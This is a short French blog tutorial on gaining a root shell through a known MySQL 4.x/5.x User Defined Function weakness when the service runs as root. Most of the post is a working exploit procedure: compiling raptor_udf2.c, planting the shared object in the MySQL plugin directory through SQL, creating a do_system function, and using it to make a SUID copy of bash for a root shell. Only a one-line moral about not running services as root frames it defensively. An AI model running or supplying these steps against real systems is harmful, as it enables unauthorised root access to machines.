Elevation de privilège avec MySQL 4x/5.x
Dans ce tout petit post découvrez comment facilement lancer un shell avec les privilèges root grâce à l'exploitation d'une faille dans MySQL.
Exploitation du service
Une faille connue dans certaines versions de MySQL permet de récupérer un accès root en profitant des User Defined Functions (UDFs). Pour cela il faudra récupérer l'exploit, le compiler et suivre les instructions (ultra simple) ci-après.
Cette faille fonctionne lorsque le service MySQL est exécuté en tant que root.
Sur la machine de la victime, récupérez le fichier raptor_udf2.c
puis compilez le :
gcc -g -c raptor_udf2.c -fPIC
gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
Une fois compilé connectez vous sur le service MySQL viamysql -u root
Ensuite créons une fonction utilisateur "do_system" en utilisant notre exploit compilé :
use mysql;
create table foo(line blob);
insert into foo values(load_file('/home/user/tools/mysql-udf/raptor_udf2.so'));
select * from foo into dumpfile '/usr/lib/mysql/plugin/raptor_udf2.so';
create function do_system returns integer soname 'raptor_udf2.so';
Profitons de notre function do_system que nous venons de créer pour copier bin/bash dans /tmp/rootbash et en activant une permission SUID (qui permet l'execution en tant que root)
select do_system('cp /bin/bash /tmp/rootbash; chmod +xs /tmp/rootbash');
Quittez MySQL (exit ou \q puis touche Entree) et executez notre commande rootbash avec l'agument -p
/tmp/rootbash -p
Vous voici avec un shell qui tourne avec les privilèges root !
Moralité : Ne faites jamais tourner vos services avec des privilèges root !
Ceci signe la fin de l'article, n'hésitez pas à partager, me faire part de vos commentaires, ou tout simplement me mettre un petit like : Tous vos commentaires sont lus !
Envie d'en apprendre encore plus ? Abonnez-vous en choisissant l'une des 3 formules (gratuite ou payante) et recevez directement par email nos articles dès leurs parutions. La formule payante vous donne droits à des articles Premium !